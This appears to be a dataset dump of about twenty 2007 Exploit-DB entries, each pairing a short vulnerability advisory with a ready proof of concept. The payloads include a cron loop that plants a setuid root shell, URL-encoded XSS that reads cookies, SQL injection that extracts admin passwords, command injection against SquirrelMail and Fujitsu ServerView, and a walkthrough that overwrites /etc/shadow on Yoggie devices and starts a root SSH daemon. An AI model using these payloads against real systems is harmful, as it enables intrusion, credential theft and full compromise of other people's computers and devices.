QLWD/code_shield huggingface dataset:
标题: GFax 0.7.6 - Temporary Files Local Arbitrary Command Execution EDB-ID: 30280 CVE: 2007-2839 类型: LOCAL 平台: LINUX 发布日期: 2007-07-05 漏洞利用脚本: source: https://www.securityfocus.com/bid/24780/info

GFAX is prone to a vulnerability that lets local attackers execute arbitrary commands with superuser privileges. Successful attacks will result in the complete compromise of affected computers.

GFAX 0.7.6 is vulnerable; other versions may also be affected. 

while true; do echo "*/1 * * * * root /bin/cp /bin/sh /tmp && chmod 4755 /tmp/sh" > /tmp/crontab; done URL: https://www.exploit-db.com/exploits/30280
标题: SAP Internet Graphics Server 7.0 - 'ADM:GETLOGFILE?PARAMS' Cross-Site Scripting EDB-ID: 30279 CVE: 2007-3613 类型: REMOTE 平台: MULTIPLE 发布日期: 2007-07-05 漏洞利用脚本: source: https://www.securityfocus.com/bid/24775/info

SAP Internet Graphics Server is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.

An attacker may perform cross-site scripting attacks on unsuspecting users in the context of the affected website. As a result, the attacker may be able to steal cookie-based authentication credentials and to launch other attacks. 

http://www.example.com/ADM:GETLOGFILE?PARAMS=<script>alert("hello")</script> URL: https://www.exploit-db.com/exploits/30279
标题: NetFlow Analyzer 5 - 'netflow/jspui/index.jsp?view' Cross-Site Scripting EDB-ID: 30268 CVE: 2007-3593 类型: WEBAPPS 平台: JSP 发布日期: 2007-07-04 漏洞利用脚本: source: https://www.securityfocus.com/bid/24766/info
  
NetFlow Analyzer is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
  
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
  
This issue affects NetFlow Analyzer 5; other versions may also be affected.

 http://www.example.com/netflow/jspui/index.jsp?grID=-1&view= ipgroups%22%3E%3C%62%6F%64%79%3E%3C%68%31%3E%3C%70%3E%3C%61% 20%68%72%65%66%3D%22%68%74%74%70%3A%2F%2F%6C%6F%73%74%6D%6F% 6E%2E%62%6C%6F%67%73%70%6F%74%2E%63%6F%6D%22%3E%4C%6F%73%74% 6D%6F%6E%20%57%61%73%20%48%65%72%65%20%21%21%21%3C%2F%68%31% 3E%3C%2F%62%72%3E%58%53%53%20%50%6F%57%40%20%21%21%21%21%3C% 2F%70%3E%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%64%6F%63% 75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%29%3C%2F%73%63%72%69%70% 74%3E%3C%2F%62%6F%64%79%3E&grDisp=Todos%20los%20grupos 
http://www.example.com/netflow/jspui/index.jsp?grID=-1&view=g roups%22%3E%3C%62%6F%64%79%3E%3C%68%31%3E%3C%70%3E%3C%61%20% 68%72%65%66%3D%22%68%74%74%70%3A%2F%2F%6C%6F%73%74%6D%6F%6E% 2E%62%6C%6F%67%73%70%6F%74%2E%63%6F%6D%22%3E%4C%6F%73%74%6D% 6F%6E%20%57%61%73%20%48%65%72%65%20%21%21%21%3C%2F%68%31%3E% 3C%2F%62%72%3E%58%53%53%20%50%6F%57%40%20%21%21%21%21%3C%2F% 70%3E%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%64%6F%63%75% 6D%65%6E%74%2E%63%6F%6F%6B%69%65%29%3C%2F%73%63%72%69%70%74% 3E%3C%2F%62%6F%64%79%3E&grDisp=1 URL: https://www.exploit-db.com/exploits/30268
标题: OpManager 6/7 - 'ping.do?name' Cross-Site Scripting EDB-ID: 30271 CVE: 2007-3594 类型: WEBAPPS 平台: JAVA 发布日期: 2007-07-04 漏洞利用脚本: source: https://www.securityfocus.com/bid/24767/info

OpManager is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. 

http://www.example.com/map/ping.do?name=192.168.1.2%22%3E%3C%62%6F%64%79%3E%3C%68%31%3E%3C%70%3E%3C%61%20%68%72%65%66%3D%22%68%74%74%70%3A%2F%2F%6C%6F%73% 74%6D%6F%6E%2E%62%6C%F% 67%73%70%6F%74%2E%63%6F%6D%22%3E%4C%6F%73%74%6D%6F%E%20%57%61%73%20%48%65%72%65%20%21%21%21%3C%2F%68%31%3E%3C%2F%62%72%3E%58%53%53%20%50%6F%57%40%20%21%2 1%21%21%3C%2F%70%3E%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%64%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%29%3C%2F%73%63%72%69%70%74%3E%3C%2F%62%6F%64%7 9%3E URL: https://www.exploit-db.com/exploits/30271
标题: OpManager 6/7 - '/admin/DeviceAssociation.do' Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 30275 CVE: 2007-3594 类型: WEBAPPS 平台: JAVA 发布日期: 2007-07-04 漏洞利用脚本: source: https://www.securityfocus.com/bid/24767/info
    
OpManager is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
    
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
 
http://www.example.com/admin/DeviceAssociation.do?selectedNo de=%22%3E%3C%62%6F%64%79%3E%3C%68%31%3E%3C%70%3E%3C%61%20%6 8%72%65%66%3D%22%68%74%74%70%3A%2F%2F%6C%6F%73%74%6D%6F%6E% 2E%62%6C%6F%67%73%70%6F%74%2E%63%6F%6D%22%3E%4C%6F%73%74%6D %6F%6E%20%57%61%73%20%48%65%72%65%20%21%21%21%3C%2F%68%31%3 E%3C%2F%62%72%3E%58%53%53%20%50%6F%57%40%20%21%21%21%21%3C% 2F%70%3E%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%64%6F%63 %75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%29%3C%2F%73%63%72%69%7 0%74%3E%3C%2F%62%6F%64%79%3ENTServiceConfigurations&classNa me=com.adventnet.me.opmanager.webclient.admin.association.N TServiceAssociation URL: https://www.exploit-db.com/exploits/30275
标题: SquirrelMail G/PGP Encryption Plugin 2.0/2.1 - Multiple Remote Command Execution Vulnerabilities EDB-ID: 30283 CVE: 2007-3636 类型: WEBAPPS 平台: PHP 发布日期: 2007-07-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/24828/info

Vulnerabilities in the SquirrelMail G/PGP encryption plugin may allow malicious webmail users to execute system commands remotely. These issues occur because the application fails to sufficiently sanitize user-supplied data.

Commands would run in the context of the webserver hosting the vulnerable software.

Reports indicate that these vulnerabilities reside in SquirrelMail G/PGP 2.0 and 2.1 and that the vendor is aware of the issues. This has not been confirmed.

No further technical details are currently available. We will update this BID as more information emerges. 

$ nc *** 80
POST /webmail/plugins/gpg/modules/keyring_main.php HTTP/1.1
Host: ***
User-Agent: w00t
Keep-Alive: 300
Connection: keep-alive
Cookie: Authentication Data for SquirrelMail
Content-Type: application/x-www-form-urlencoded
Content-Length: 140

id=C5B1611B8E71C***&fpr= | touch /tmp/w00t | &pos=0&sort=email_name&desc=&srch=&ring=all&passphrase=&deletekey=true&deletepair=false&trust=1 URL: https://www.exploit-db.com/exploits/30283
标题: NetFlow Analyzer 5 - '/jspui/customReport.jsp?rtype' Cross-Site Scripting EDB-ID: 30270 CVE: 2007-3593 类型: WEBAPPS 平台: JSP 发布日期: 2007-07-04 漏洞利用脚本: source: https://www.securityfocus.com/bid/24766/info
    
NetFlow Analyzer is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
    
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
    
This issue affects NetFlow Analyzer 5; other versions may also be affected.

http://www.example.com/netflow/jspui/customReport.jsp?rtype=gl obal%22%3E%3C%62%6F%64%79%3E%3C%68%31%3E%3C%70%3E%3C%61%20%68% 72%65%66%3D%22%68%74%74%70%3A%2F%2F%6C%6F%73%74%6D%6F%6E%2E%62 %6C%6F%67%73%70%6F%74%2E%63%6F%6D%22%3E%4C%6F%73%74%6D%6F%6E%2 0%57%61%73%20%48%65%72%65%20%21%21%21%3C%2F%68%31%3E%3C%2F%62% 72%3E%58%53%53%20%50%6F%57%40%20%21%21%21%21%3C%2F%70%3E%3C%73 %63%72%69%70%74%3E%61%6C%65%72%74%28%64%6F%63%75%6D%65%6E%74%2 E%63%6F%6F%6B%69%65%29%3C%2F%73%63%72%69%70%74%3E%3C%2F%62%6F% 64%79%3E&period=hourly&customOption=true&firstTime=true URL: https://www.exploit-db.com/exploits/30270
标题: Levent Veysi Portal 1.0 - 'Oku.asp' SQL Injection EDB-ID: 30282 CVE: 2007-3629 类型: WEBAPPS 平台: ASP 发布日期: 2007-07-07 漏洞利用脚本: source: https://www.securityfocus.com/bid/24794/info

Levent Veysi Portal is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

An attacker can exploit this issue by manipulating the SQL query logic to carry out unauthorized actions on the underlying database.

This issue affects Levent Veysi Portal 1.0; other versions may also be affected. 

http://www.example.com/script_path/oku.asp?id=-1+union+select+0,1,kullaniciadi,sifre+from+admin URL: https://www.exploit-db.com/exploits/30282
标题: NetFlow Analyzer 5 - '/jspui/selectDevice.jsp?rtype' Cross-Site Scripting EDB-ID: 30269 CVE: 2007-3593 类型: WEBAPPS 平台: JSP 发布日期: 2007-07-04 漏洞利用脚本: source: https://www.securityfocus.com/bid/24766/info
   
NetFlow Analyzer is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
   
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
   
This issue affects NetFlow Analyzer 5; other versions may also be affected.

 http://www.example.com/netflow/jspui/selectDevice.jsp?rtype=g lobal%22%3E%3C%62%6F%64%79%3E%3C%68%31%3E%3C%70%3E%3C%61%20%6 8%72%65%66%3D%22%68%74%74%70%3A%2F%2F%6C%6F%73%74%6D%6F%6E%2E %62%6C%6F%67%73%70%6F%74%2E%63%6F%6D%22%3E%4C%6F%73%74%6D%6F% 6E%20%57%61%73%20%48%65%72%65%20%21%21%21%3C%2F%68%31%3E%3C%2 F%62%72%3E%58%53%53%20%50%6F%57%40%20%21%21%21%21%3C%2F%70%3E %3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%64%6F%63%75%6D%65% 6E%74%2E%63%6F%6F%6B%69%65%29%3C%2F%73%63%72%69%70%74%3E%3C%2 F%62%6F%64%79%3E URL: https://www.exploit-db.com/exploits/30269
标题: OpManager 6/7 - reports/ReportViewAction.do Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 30273 CVE: 2007-3594 类型: WEBAPPS 平台: JAVA 发布日期: 2007-07-04 漏洞利用脚本: source: https://www.securityfocus.com/bid/24767/info
  
OpManager is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
  
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
  
http://www.example.com/reports/ReportViewAction.do?selected Tab=Reports&selectedNode=Server_Memory_Utilization&reportN ame=Utilization_Report%22%3E%3C%62%6F%64%79%3E%3C%68%31%3E %3C%70%3E%3C%61%20%68%72%65%66%3D%22%68%74%74%70%3A%2F%2F% 6C%6F%73%74%6D%6F%6E%2E%62%6C%6F%67%73%70%6F%74%2E%63%6F%6 D%22%3E%4C%6F%73%74%6D%6F%6E%20%57%61%73%20%48%65%72%65%20 %21%21%21%3C%2F%68%31%3E%3C%2F%62%72%3E%58%53%53%20%50%6F% 57%40%20%21%21%21%21%3C%2F%70%3E%3C%73%63%72%69%70%74%3E%6 1%6C%65%72%74%28%64%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69 %65%29%3C%2F%73%63%72%69%70%74%3E%3C%2F%62%6F%64%79%3EE&di splayName=webclient.reports.servers.memutil URL: https://www.exploit-db.com/exploits/30273
标题: Oliver - Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 30263 CVE: 2007-3569 类型: WEBAPPS 平台: CGI 发布日期: 2007-07-03 漏洞利用脚本: source: https://www.securityfocus.com/bid/24754/info

Oliver is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. 

http://www.example.com/oliver/gateway/gateway.exe?X_=000f&application=Oliver&displayform=main&updateform="><script>alert("XSS");</script> http://www.example.com/oliver/gateway/gateway.exe?X_=000f&displayform=main"><script>alert("XSS");</script> URL: https://www.exploit-db.com/exploits/30263
标题: Fujitsu ServerView 4.50.8 - DBASCIIAccess Remote Command Execution EDB-ID: 30264 CVE: 2007-3011 类型: REMOTE 平台: MULTIPLE 发布日期: 2007-07-03 漏洞利用脚本: source: https://www.securityfocus.com/bid/24762/info

Fujitsu ServerView is prone to a remote command-execution vulnerability because it fails to adequately sanitize user-supplied data.

Attackers can exploit this issue to execute arbitrary commands with the privileges of the affected application. Successful attacks will compromise the application and underlying webserver; other attacks are also possible.

Versions prior to Fujitsu ServerView 4.50.09 are vulnerable. 

http://www.example.com/cgi-bin/ServerView/
SnmpView/DBAsciiAccess
?SSL=
&Application=ServerView/SnmpView
&Submit=Submit
&UserID=1
&Profile=
&DBAccess=ASCII
&Viewing=-1
&Action=Show
&ThisApplication=TestConnectivityFrame
&DBElement=ServerName
&DBValue=bcmes
&DBList=snism
&UserValue=
&DBTableList=SERVER_LIST
&Sorting=
&ParameterList=What--primary,,
OtherCommunity--public,,
SecondIP--,,
Timeout--5,,
Community--public,,
ServerName--bcmes,,
Servername--127.0.0.1;id;,, # vulnerable parameter
SType--Server URL: https://www.exploit-db.com/exploits/30264
标题: NetFlow Analyzer 5 - '/jspui/appConfig.jsp?task' Cross-Site Scripting EDB-ID: 30267 CVE: 2007-3593 类型: WEBAPPS 平台: JSP 发布日期: 2007-07-04 漏洞利用脚本: source: https://www.securityfocus.com/bid/24766/info
 
NetFlow Analyzer is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
 
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
 
This issue affects NetFlow Analyzer 5; other versions may also be affected.

http://www.example.com/netflow/jspui/appConfig.jsp?task=Modif y%22%3E%3C%62%6F%64%79%3E%3C%68%31%3E%3C%70%3E%3C%61%20%68%7 2%65%66%3D%22%68%74%74%70%3A%2F%2F%6C%6F%73%74%6D%6F%6E%2E%6 2%6C%6F%67%73%70%6F%74%2E%63%6F%6D%22%3E%4C%6F%73%74%6D%6F%6 E%20%57%61%73%20%48%65%72%65%20%21%21%21%3C%2F%68%31%3E%3C%2 F%62%72%3E%58%53%53%20%50%6F%57%40%20%21%21%21%21%3C%2F%70%3 E%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%64%6F%63%75%6D%6 5%6E%74%2E%63%6F%6F%6B%69%65%29%3C%2F%73%63%72%69%70%74%3E%3 C%2F%62%6F%64%79%3E&appID=62 URL: https://www.exploit-db.com/exploits/30267
标题: NetFlow Analyzer 5 - '/jspui/applicationList.jsp?alpha' Cross-Site Scripting EDB-ID: 30266 CVE: 2007-3593 类型: WEBAPPS 平台: JSP 发布日期: 2007-07-04 漏洞利用脚本: source: https://www.securityfocus.com/bid/24766/info

NetFlow Analyzer is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

This issue affects NetFlow Analyzer 5; other versions may also be affected.

http://www.example.com/netflow/jspui/applicationList.jsp?alph a=A%22%3E%3C%62%6F%64%79%3E%3C%68%31%3E%3C%70%3E%3C%61%20%68 %72%65%66%3D%22%68%74%74%70%3A%2F%2F%6C%6F%73%74%6D%6F%6E%2E %62%6C%6F%67%73%70%6F%74%2E%63%6F%6D%22%3E%4C%6F%73%74%6D%6F %6E%20%57%61%73%20%48%65%72%65%20%21%21%21%3C%2F%68%31%3E%3C %2F%62%72%3E%58%53%53%20%50%6F%57%40%20%21%21%21%21%3C%2F%70 %3E%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%64%6F%63%75%6D %65%6E%74%2E%63%6F%6F%6B%69%65%29%3C%2F%73%63%72%69%70%74%3E %3C%2F%62%6F%64%79%3E URL: https://www.exploit-db.com/exploits/30266
标题: Moodle 1.7.1 - 'index.php' Cross-Site Scripting EDB-ID: 30261 CVE: 2007-3555 类型: WEBAPPS 平台: PHP 发布日期: 2007-07-02 漏洞利用脚本: source: https://www.securityfocus.com/bid/24748/info

Moodle is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

Exploiting this vulnerability may allow an attacker to perform cross-site scripting attacks on unsuspecting users in the context of the affected website. As a result, the attacker may be able to steal cookie-based authentication credentials and to launch other attacks.

This issue affects Moodle 1.7.1; other versions may also be vulnerable. 

http://www.example.com/user/index.php?contextid=4&roleid=0&id=2&group=&perpage=20&search=%22style=xss:expression(alert(document.cookie))%20 URL: https://www.exploit-db.com/exploits/30261
标题: Liesbeth Base CMS - Information Disclosure EDB-ID: 30262 CVE: 2007-3556 类型: WEBAPPS 平台: PHP 发布日期: 2007-07-02 漏洞利用脚本: source: https://www.securityfocus.com/bid/24749/info

Liesbeth Base CMS is prone to an information-disclosure vulnerability.

Exploiting this issue may allow an attacker to access sensitive information that may aid in further attacks. 

http://www.example.com/config.inc URL: https://www.exploit-db.com/exploits/30262
标题: Linksys WAG54GS 1.0.6 (Wireless-G ADSL Gateway) - 'setup.cgi' Cross-Site Scripting EDB-ID: 30254 CVE: 2007-3574 类型: REMOTE 平台: HARDWARE 发布日期: 2007-06-27 漏洞利用脚本: source: https://www.securityfocus.com/bid/24682/info

Linksys Wireless-G ADSL Gateway is prone to multiple cross-site scripting vulnerabilities because the application fails to properly sanitize user-supplied input.

Attackers may exploit this issue by enticing victims into opening a malicious URI.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected device. This may help the attacker steal cookie-based authentication credentials, cause denial-of-service conditions, and launch other attacks.

Successful exploits will allow script code to be stored persistently in the affected device.

Linksys Wireless-G ADSL Gateway WAG54GS running firmware V1.00.06 is reported vulnerable. 

http://admin:admin@192.168.1.1/setup.cgi?user_list=1&sysname=admin& sysPasswd=admin&sysConfirmPasswd=admin&remote_management=enable&http _wanport=8080&devname=&snmp_enable=disable&upnp_enable=enable&wlan_e nable=enable&save=Save+Settings&h_user_list=1&h_pwset=yes&pwchanged= yes&h_remote_management=enable&c4_trap_ip_="> URL: https://www.exploit-db.com/exploits/30254
标题: Claroline 1.8.3 - '$_SERVER['PHP_SELF']' Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 30259 CVE: 2007-3517 类型: WEBAPPS 平台: PHP 发布日期: 2007-07-02 漏洞利用脚本: source: https://www.securityfocus.com/bid/24742/info

Claroline is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

Versions prior to Claroline 1.8.4 are vulnerable. 

http://www.example.com/index.php?[XSS] URL: https://www.exploit-db.com/exploits/30259
标题: Yoggie Pico and Pico Pro Backticks - Remote Code Execution EDB-ID: 30260 CVE: 2007-3572 类型: WEBAPPS 平台: CGI 发布日期: 2007-07-02 漏洞利用脚本: source: https://www.securityfocus.com/bid/24743/info

Yoggie Pico and Pico Pro are prone to a remote code-execution vulnerability because the device fails to sufficiently sanitize user-supplied input.

An attacker can exploit this issue to execute arbitrary code with superuser privileges. A successful exploit will result in the complete compromise of affected devices. 

When run from a machine with a Yoggie Pico Pro connected,
yoggie.yoggie.com resolves to the IP of the device, so these links
will of course not work unless you have a device connected.  I didn't
brute-force the root password, so I explain how you can replace their
/etc/shadow to set the password to whatever you choose.

To access the original /etc/shadow:
https://yoggie.yoggie.com:8443/cgi-bin/runDiagnostics.cgi?command=Ping&param=%60cp%20/etc/shadow%20shadow.txt%60
https://yoggie.yoggie.com:8443/cgi-bin/shadow.txt
Replace the root password with the password of your choosing, then
wrap the file in single quotes and urlencode the entire string.

To replace the original /etc/shadow with your own:
https://yoggie.yoggie.com:8443/cgi-bin/runDiagnostics.cgi?command=Ping&param=%60echo%20<urlencoded
shadow file>%20%3E%20/etc/shadow%60

Finally, running dropbear sshd on port 7290 (random choice -- not
blocked by their firewall rules)
https://yoggie.yoggie.com:8443/cgi-bin/runDiagnostics.cgi?command=Ping&param=%60/usr/sbin/dropbear%20-p%207290%60

Log in as root with the password chosen, and you now have complete
control over the device.  It's quite  powerful little computer, and a
whole hell of a lot of fun to play around with.  A word of advice,
though -- don't touch libc in any way, shape, or form, as there's no
reflash mechanism I've found on the device, which is why I now have a
bricked pico pro sitting on my desk ;) URL: https://www.exploit-db.com/exploits/30260
标题: PC SOFT WinDEV 11 - '.WDP' File Parsing Stack Buffer Overflow EDB-ID: 30255 CVE: 2007-3479 类型: DOS 平台: WINDOWS 发布日期: 2007-06-28 漏洞利用脚本: source: https://www.securityfocus.com/bid/24693/info

PC SOFT WinDEV is prone to a stack-based buffer-overflow vulnerability when it attempts to process malformed project files. This issue occurs because the application fails to perform proper bounds-checking on user-supplied data before copying it to an insufficiently sized memory buffer.

An attacker may exploit this issue to execute arbitrary code with the privileges of the user running the vulnerable application or to cause denial-of-service conditions. This may facilitate unauthorized access or privilege escalation.

PC SOFT WinDEV 11 is reported vulnerable; other versions and related products (WinDEV Express, Mobile, and WebDEV) may also be affected. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/30255.zip URL: https://www.exploit-db.com/exploits/30255
标题: SAP Message Server - 'Group' Remote Buffer Overflow EDB-ID: 30265 CVE: 2007-3624 类型: REMOTE 平台: MULTIPLE 发布日期: 2007-07-05 漏洞利用脚本: source: https://www.securityfocus.com/bid/24765/info

SAP Message Server is prone to a remote heap-based buffer-overflow vulnerability because the application fails to perform adequate boundary checks on user-supplied data before copying it to an insufficiently sized buffer.

Remote attackers can exploit this issue to execute arbitrary code with SYSTEM-level privileges. Successful attacks will result in a complete compromise of affected computers. Failed attacks will likely result in denial-of-service conditions that disable all functionality of the application. 

GET /msgserver/html/group?group=**498 bytes** HTTP/1.0
Accept: */*
Accept-Language: en-us
Pragma: no-cache
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET
CLR 1.1.4322; .NET CLR 2.0.50727)
Host: sapserver:8100
Proxy-Connection: Keep-Alive URL: https://www.exploit-db.com/exploits/30265